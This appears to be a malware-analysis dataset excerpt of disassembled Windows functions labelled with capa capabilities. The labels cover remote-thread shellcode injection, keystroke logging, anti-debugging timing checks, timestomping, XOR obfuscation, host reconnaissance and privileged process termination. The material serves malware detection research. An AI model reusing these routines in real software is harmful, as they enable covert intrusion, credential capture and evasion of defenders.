joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410984
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffed0
mov dword [esp], edx
mov esi, eax
xor ebx, ebx
push 0x40
push 0x1000
push 0x123
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x410a56
mov eax, ebp
mov byte [esp + 0xc], 0x68
lea edx, [eax + 0x1e]
mov dword [esp + 0xd], edx
mov word [esp + 0x11], 0x15ff
lea edx, [eax + 0x16]
mov dword [esp + 0x13], edx
mov byte [esp + 0x17], 0x68
xor edx, edx
mov dword [esp + 0x18], edx
mov word [esp + 0x1c], 0x15ff
add eax, 0x1a
mov dword [esp + 0x1e], eax
push 0x410a64
call sub.kernel32.dll_GetModuleHandleA_1
mov edi, eax
push 0x410a74
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x22], eax
push 0x410a84
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x26], eax
mov eax, dword [esp]
push eax
lea eax, [esp + 0x2e]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
push eax
push 0x123
lea eax, [esp + 0x14]
push eax
push ebp
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [esp + 8]
push eax
push 0
push 0
push ebp
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x410a56
push eax
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
mov eax, ebx
add esp, 0x130
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x412148
Capabilities:
Create thread

Disassembly:
push ebx
add esp, 0xffffffe8
mov ebx, eax
jmp 0x412176
push esp
lea eax, [esp + 0xc]
push eax
push ebx
mov eax, dword [0x440ecc]
mov eax, dword [eax]
call eax
lea edx, [esp + 4]
push edx
push 0
push eax
push 0x4120e8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
cmp byte [0x43f350], 0
jne 0x412150
push ebx
mov eax, dword [0x440f34]
mov eax, dword [eax]
call eax
mov dword [0x43f348], 0xffffffff
add esp, 0x18
pop ebx
ret

Function at 0x42cc2c
Capabilities:
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
call sub.kernel32.dll_GetCurrentProcessId
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.0040d3d8
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42cca1
mov dword [esp], 0x1c
push esp
push ebx
call fcn.0040d438
test eax, eax
je 0x42cc9b
mov eax, dword [esp + 8]
cmp esi, eax
je 0x42cc90
cmp edi, dword [esp + 0xc]
jne 0x42cc90
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov ebp, eax
test ebp, ebp
jbe 0x42cc90
push ebp
call sub.kernel32.dll_SuspendThread
push ebp
call sub.kernel32.dll_CloseHandle_1
push esp
push ebx
call fcn.0040d45c
test eax, eax
jne 0x42cc66
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x42ccac
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
call sub.kernel32.dll_GetCurrentProcessId
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.0040d3d8
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42cd21
mov dword [esp], 0x1c
push esp
push ebx
call fcn.0040d438
test eax, eax
je 0x42cd1b
mov eax, dword [esp + 8]
cmp esi, eax
je 0x42cd10
cmp edi, dword [esp + 0xc]
jne 0x42cd10
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov ebp, eax
test ebp, ebp
jbe 0x42cd10
push ebp
call sub.kernel32.dll_ResumeThread
push ebp
call sub.kernel32.dll_CloseHandle_1
push esp
push ebx
call fcn.0040d45c
test eax, eax
jne 0x42cce6
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x42dee0
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 6
push 0x442bb4
mov eax, dword [0x442bbc]
push eax
mov eax, dword [0x442b68]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.wininet.dll_InternetQueryDataAvailable
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 6
push 0x442bac
mov eax, dword [0x442bbc]
push eax
mov eax, dword [0x442b68]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 0x10

Function at 0x42f7dc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
call fcn.0040b6cc
mov eax, ebx
mov edx, 2
call fcn.00405120
push 0
mov eax, ebx
call fcn.00405048
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x42f82d
je 0x42f836
dec eax
je 0x42f84b
jmp 0x42f844
mov eax, ebx
call fcn.00404b40
jmp 0x42f84b
mov eax, ebx
mov edx, 1
call fcn.00405120
jmp 0x42f84b
mov eax, ebx
call fcn.00404b40
add esp, 0x100
pop edi
pop esi
pop ebx
ret
Function at 0x431d20
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
call fcn.0040b6cc
mov eax, ebx
mov edx, 2
call fcn.00405120
push 0
mov eax, ebx
call fcn.00405048
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x431d71
je 0x431d7a
dec eax
je 0x431d8f
jmp 0x431d88
mov eax, ebx
call fcn.00404b40
jmp 0x431d8f
mov eax, ebx
mov edx, 1
call fcn.00405120
jmp 0x431d8f
mov eax, ebx
call fcn.00404b40
add esp, 0x100
pop edi
pop esi
pop ebx
ret

Function at 0x434ad4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x434b46
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x434b26
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dx, 0x29a
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x434b09
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434b4d
lea eax, [ebp - 4]
call fcn.00404b40
ret

Function at 0x43561c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x435691
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x435670
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor edx, edi
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x435656
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435698
lea eax, [ebp - 4]
call fcn.00404b40
ret
Function at 0x43941c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4394cc
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x43949f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xff
lea eax, [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00405120
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404ff0
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x439488
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405050
jmp 0x439495
mov eax, dword [ebp - 4]
mov edx, 0x4394e4
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4394b6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4394d3
lea eax, [ebp - 8]
call fcn.00404b40
ret

Function at 0x4394fc
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x439543
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x24], 0x20
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x1c]
shr eax, 0x14
inc eax
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 4]
call fcn.004086b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43955a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x439574
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4395ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
mov eax, dword [ebp - 8]
call fcn.0040272c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4395dc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.00404d30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4395e3
mov eax, dword [ebp - 0xc]
call fcn.0040274c
ret
Function at 0x4396f4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x439794]
fstp qword [ebp - 0x10]
wait
fld qword [ebp - 0x10]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43ae04
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
push ebp
push 0x43ae60
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x8000000
push 2
push 0
push 0
push 0xc0000000
push edx
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43ae6a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43bec8
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x43bfb6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x2000000
push 3
push 0
push 0
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00404ff0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43bf99
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x43bf74
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.00409d24
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.kernel32.dll_LocalFileTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43bf82
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43bfa0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x43c3c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x43c42f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x43c40f
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 2
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x43c3f5
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c436
lea eax, [ebp - 4]
call fcn.00404b40
ret
Function at 0x43c4b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43c4f8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x404]
push eax
push 0x3ff
call sub.kernel32.dll_GetTempPathA
mov ecx, eax
lea edx, [ebp - 0x404]
mov eax, dword [ebp - 4]
call fcn.00404c30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43c50f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43c524
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404c30
cmp dword [ebx], 0
je 0x43c558
mov eax, ebx
mov edx, 0x43c568
call fcn.00404e00
add esp, 0x104
pop ebx
ret

Function at 0x43caec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x43cb61
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x43cb40
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor edx, edi
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x43cb26
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43cb68
lea eax, [ebp - 4]
call fcn.00404b40
ret
Function at 0x43ce5c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x28], edx
mov esi, eax
xor eax, eax
push ebp
push 0x43cfc2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x43cfa0
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x43ceac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x28]
mov eax, 0x43cfdc
call fcn.0043c3c0
mov eax, dword [ebp - 0x28]
call fcn.00404ff0
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x43cee7
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 2
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x43cf2d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
jne 0x43cf47
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x43cf5d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x43cf94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43cfac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43cfc9
lea eax, [ebp - 0x28]
call fcn.00404b40
ret
Function at 0x408a00
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x408a61
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x408a44
cmp edi, 2
jb 0x408a44
cmp byte [esi], cl
jne 0x408a44
cmp byte [esi + 1], cl
jne 0x408a44
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x4f5be8]
jmp 0x408a15
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x4f5be8]
test edi, edi
jne 0x408a15
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x408a90
cmp cl, 0x23
jne 0x408a77
cmp byte [esi], cl
jne 0x408a77
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x4f5be8]
test cl, cl
jne 0x408a68
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x408ba0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x408bb3
mov dword [ebx], 0
mov edx, 0x4f58d4
call fcn.00408aa0
mov esi, eax
test esi, esi
je 0x408c90
push esi
call fcn.004b62fb
add esp, 4
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x408c87
push 2
push 0
push esi
call fcn.004b6e4f
add esp, 0xc
test eax, eax
jne 0x408c87
push esi
call fcn.004b62fb
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x408c87
push 0
push dword [ebp + 8]
push esi
call fcn.004b6e4f
add esp, 0xc
test eax, eax
jne 0x408c87
mov eax, dword [0x57ecb0]
test eax, eax
je 0x408c26
inc dword [eax + 0xa8]
push edi
call fcn.004bf410
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x408c87
push esi
push edi
push 1
push eax
call fcn.004ba829
add esp, 0x10
push esi
cmp eax, edi
je 0x408c71
call fcn.004b6af4
mov eax, dword [0x57ecb0]
add esp, 4
test eax, eax
je 0x408c5f
dec dword [eax + 0xa8]
push dword [ebp + 8]
call fcn.004ba650
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.004b6af4
add esp, 4
test ebx, ebx
je 0x408c7f
mov dword [ebx], edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call fcn.004b6af4
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x40a7c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x508040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0xc8]
lea edx, [ebp - 8]
push ebx
mov ebx, dword [ecx + 0xd0]
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 4
mov ebx, dword [ebx + eax*4 - 4]
mov dword [ebp - 8], edi
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x4f5be8]
sub esi, 1
jne 0x40a7f3
mov eax, dword [0x57ecb0]
not ebx
cmp dword [eax + 0x3e78], ebx
jne 0x40a82b
push ecx
push edi
lea edx, [esi + 0xc]
mov ecx, ebx
call fcn.0041b610
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004af2b0
mov esp, ebp
pop ebp
ret 4
Function at 0x40f660
Capabilities:
Hash data with crc32

Disassembly:
mov eax, ecx
or ecx, 0xffffffff
push ebx
push esi
mov bl, byte [eax]
lea esi, [eax + 1]
test bl, bl
je 0x40f69d
push edi
or edi, 0xffffffff
cmp bl, 0x23
jne 0x40f683
cmp byte [esi], bl
jne 0x40f683
cmp byte [esi + 1], bl
cmove ecx, edi
movzx edx, cl
movzx eax, bl
mov bl, byte [esi]
xor edx, eax
shr ecx, 8
inc esi
xor ecx, dword [edx*4 + 0x4f5be8]
test bl, bl
jne 0x40f674
pop edi
pop esi
not ecx
pop ebx
jmp fcn.0040f600
Function at 0x41aa30
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x57ecb0]
test bl, bl
je 0x41aa76
or edi, 0xffffffff
cmp bl, 0x23
jne 0x41aa57
cmp byte [esi], bl
jne 0x41aa57
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x4f5be8]
test bl, bl
jne 0x41aa48
mov edi, dword [0x57ecb0]
mov esi, dword [edi + 0x5244]
xor ecx, ecx
not eax
test esi, esi
jle 0x41aa9c
mov edi, dword [edi + 0x524c]
lea edx, [edi + 4]
nop dword [eax]
cmp dword [edx], eax
je 0x41aaa2
inc ecx
add edx, 0x24
cmp ecx, esi
jl 0x41aa90
pop edi
pop esi
xor eax, eax
pop ebx
ret
lea eax, [ecx + ecx*8]
lea eax, [edi + eax*4]
pop edi
pop esi
pop ebx
ret
Function at 0x424380
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4243b6
mov eax, dword [0x57ecb0]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x4243a6
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x4243ea
mov eax, dword [0x57ecb0]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x4243da
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x42441e
mov eax, dword [0x57ecb0]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x42440e
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x42446e
mov eax, dword [0x57ecb0]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x42445e
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x4244a2
mov eax, dword [0x57ecb0]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x424492
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x4244d6
mov eax, dword [0x57ecb0]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x4244c6
dec dword [eax + 0xa8]
push ecx
call fcn.004ba650
add esp, 4
mov dword [esi + 0x5c], 0
lea ecx, [esi + 0x78]
pop esi
jmp fcn.004288d0